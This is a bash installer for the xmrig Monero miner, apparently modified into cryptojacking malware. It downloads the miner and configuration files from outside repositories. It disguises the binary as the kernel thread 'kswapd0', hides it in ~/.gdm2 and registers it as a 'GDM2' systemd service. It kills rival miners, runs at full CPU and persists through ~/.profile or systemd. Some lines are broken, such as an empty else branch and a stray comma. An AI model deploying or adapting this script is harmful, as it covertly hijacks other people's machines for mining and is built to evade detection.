gdm2

#!/bin/bash

VERSION=2.11

# command line arguments
WALLET=$1
EMAIL=$2

# checking prerequisites

if [ -z $WALLET ]; then
  exit 1
fi

WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then
  exit 1
fi

if [ -z $HOME ]; then
  echo "ERROR: Please define HOME environment variable to your home directory"
  exit 1
fi

if [ ! -d $HOME ]; then
  echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
  echo '  export HOME=<dir>'
  exit 1
fi

if ! type curl >/dev/null; then
  echo "ERROR: This script requires \"curl\" utility to work correctly"
  exit 1
fi

if ! type lscpu >/dev/null; then
  echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi

#if ! sudo -n true 2>/dev/null; then
#  if ! pidof systemd >/dev/null; then
#    echo "ERROR: This script requires systemd to work correctly"
#    exit 1
#  fi
#fi

# calculating port

CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
  echo "ERROR: Can't compute projected Monero CN hashrate"
  exit 1
fi

power2() {
  if ! type bc >/dev/null; then
    if   [ "$1" -gt "8192" ]; then
      echo "8192"
    elif [ "$1" -gt "4096" ]; then
      echo "4096"
    elif [ "$1" -gt "2048" ]; then
      echo "2048"
    elif [ "$1" -gt "1024" ]; then
      echo "1024"
    elif [ "$1" -gt "512" ]; then
      echo "512"
    elif [ "$1" -gt "256" ]; then
      echo "256"
    elif [ "$1" -gt "128" ]; then
      echo "128"
    elif [ "$1" -gt "64" ]; then
      echo "64"
    elif [ "$1" -gt "32" ]; then
      echo "32"
    elif [ "$1" -gt "16" ]; then
      echo "16"
    elif [ "$1" -gt "8" ]; then
      echo "8"
    elif [ "$1" -gt "4" ]; then
      echo "4"
    elif [ "$1" -gt "2" ]; then
      echo "2"
    else
      echo "1"
    fi
  else 
    echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  fi
}

PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  exit 1
fi

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  exit 1
fi


if [ ! -z $EMAIL ]; then
  echo "(and $EMAIL email as password to modify wallet options later at https://moneroocean.stream site)"
fi
echo

echo
echo "This host has $CPU_THREADS CPU threads, so projected hashrate is around $EXP_MONERO_HASHRATE KH/s."
echo

if sudo -n true 2>/dev/null; then
  sudo systemctl stop moneroocean_miner.service
fi
killall -9 xmrig
killall -9 kswapd0

rm -rf $HOME/moneroocean
rm -rf $HOME/.moneroocean
rm -rf $HOME/.gdm2

echo "[*] Downloading MoneroOcean advanced version of xmrig to xmrig.tar.gz"
if ! curl -L --progress-bar "https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz" -o xmrig.tar.gz; then
  echo "ERROR: Can't download https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz file to xmrig.tar.gz"
#  exit 1
fi

#wget https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz

echo "[*] Unpacking xmrig.tar.gz to $HOME/.gdm2"
[ -d $HOME/.gdm2 ] || mkdir $HOME/.gdm2
if ! tar xvf xmrig.tar.gz -C $HOME/.gdm2; then
  echo "ERROR: Can't unpack xmrig.tar.gz to $HOME/.gdm2 directory"
#  exit 1
fi
#rm xmrig.tar.gz*

sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.gdm2/config.json
$HOME/.gdm2/xmrig --help >/dev/null
if (test $? -ne 0); then
  if [ -f $HOME/.gdm2/xmrig ]; then
    echo "WARNING: Advanced version of $HOME/.gdm2/xmrig is not functional"
  else 
    echo "WARNING: Advanced version of $HOME/.gdm2/xmrig was removed by antivirus (or some other problem)"
  fi

  echo "[*] Looking for the latest version of Monero miner"
  LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest  | grep -o '".*"' | sed 's/"//g'`
  LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" |  cut -d \" -f2`

  echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to xmrig.tar.gz"
  if ! curl -k -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o xmrig.tar.gz; then
    echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to xmrig.tar.gz"
 #   exit 1
  fi
  
  wget https://github.com/xmrig/xmrig/releases/latest -O $HOME/.gdm2/xmrig.tar.gz
  wget https://raw.githubusercontent.com/littlAcen/xmrig_setup_m0dd3d-1/master/config.json -O $HOME/.gdm2/config.json
  wget https://raw.githubusercontent.com/littlAcen/xmrig_setup_m0dd3d-1/master/config_background.json -O $HOME/.gdm2/config_background.json
  

  echo "[*] Unpacking xmrig.tar.gz to $HOME/.gdm2"
  if ! tar xvf xmrig.tar.gz -C $HOME/.gdm2 --strip=1; then
    echo "WARNING: Can't unpack xmrig.tar.gz to $HOME/.gdm2 directory"
  fi
  rm xmrig.tar.gz*

  echo "[*] Checking if stock version of $HOME/.gdm2/xmrig works fine (and not removed by antivirus software)"
  sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/.gdm2/config.json
  $HOME/.gdm2/xmrig --help >/dev/null
  if (test $? -ne 0); then 
    if [ -f $HOME/.gdm2/xmrig ]; then
      echo "ERROR: Stock version of $HOME/.gdm2/xmrig is not functional too"
    else 
      echo "ERROR: Stock version of $HOME/.gdm2/xmrig was removed by antivirus too"
    fi
#    exit 1
  fi
fi

mv $HOME/.gdm2/xmrig $HOME/.gdm2/kswapd0

PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
  PASS=na
fi
if [ ! -z $EMAIL ]; then
  PASS="$PASS:$EMAIL"
fi

sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' $HOME/.gdm2/config.json
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.gdm2/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.gdm2/config.json
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.gdm2/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.gdm2/log'",#' $HOME/.gdm2/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.gdm2/config.json

cp $HOME/.gdm2/config.json $HOME/.gdm2/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.gdm2/config_background.json

# preparing script

killall xmrig
killall kswapd0


cat >$HOME/.gdm2/gdm2.rc <<EOL
#!/bin/bash
if ! pidof kswapd0 >/dev/null; then
  nice $HOME/.gdm2/kswapd0 \$*
else
fi
EOL

chmod +x $HOME/.gdm2/gdm2.rc

# preparing script background work and work under reboot

if ! sudo -n true 2>/dev/null; then
  if ! grep $HOME/.gdm2/gdm2.rc $HOME/.profile >/dev/null; then
   echo "[*] Adding script to profile"
   echo "$HOME/.gdm2/gdm2.rc --config=$HOME/.gdm2/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  else
   echo "[*] Running miner in the background (see logs in $HOME/moneroocean/xmrig.log file)"#
   fi
  /bin/bash $HOME/.gdm2/gdm2.rc --config=$HOME/.gdm2/config_background.json >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    /bin/bash $HOME/.gdm2/gdm2.rc --config=$HOME/.gdm2/config_background.json >/dev/null 2>&1

  else

    cat >gdm2.service <<EOL
[Unit]
Description=GDM2

[Service]
ExecStart=$HOME/.gdm2/kswapd0 --config=$HOME/.gdm2/config.json
Restart=always
Nice=10
CPUWeight=1

[Install]
WantedBy=multi-user.target
EOL
	,
    sudo mv gdm2.service /etc/systemd/system/gdm2.service
    sudo killall kswapd0 2>/dev/null
	sudo killall xmrig 2>/dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable gdm2.service
    sudo systemctl start gdm2.service
	sudo systemctl stop moneroocean_miner
	sudo systemctl disable moneroocean_miner
  fi
fi


echo ""
echo "NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned"
if [ "$CPU_THREADS" -lt "4" ]; then
  echo "HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:"
  echo "sudo apt-get update; sudo apt-get install -y cpulimit"
  echo "sudo cpulimit -e kswapd0 -l $((75*$CPU_THREADS)) -b"
  if [ "`tail -n1 /etc/rc.local`" != "exit 0" ]; then
    echo "sudo sed -i -e '\$acpulimit -e kswapd0 -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
  else
    echo "sudo sed -i -e '\$i \\cpulimit -e kswapd0 -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
  fi
else
  echo "HINT: Please execute these commands and reboot your VPS after that to limit miner to 75% percent CPU usage:"
  echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/.gdm2/config.json"
  echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/.gdm2/config_background.json"
fi

modprobe msr

echo ""

echo "[*] Setup complete"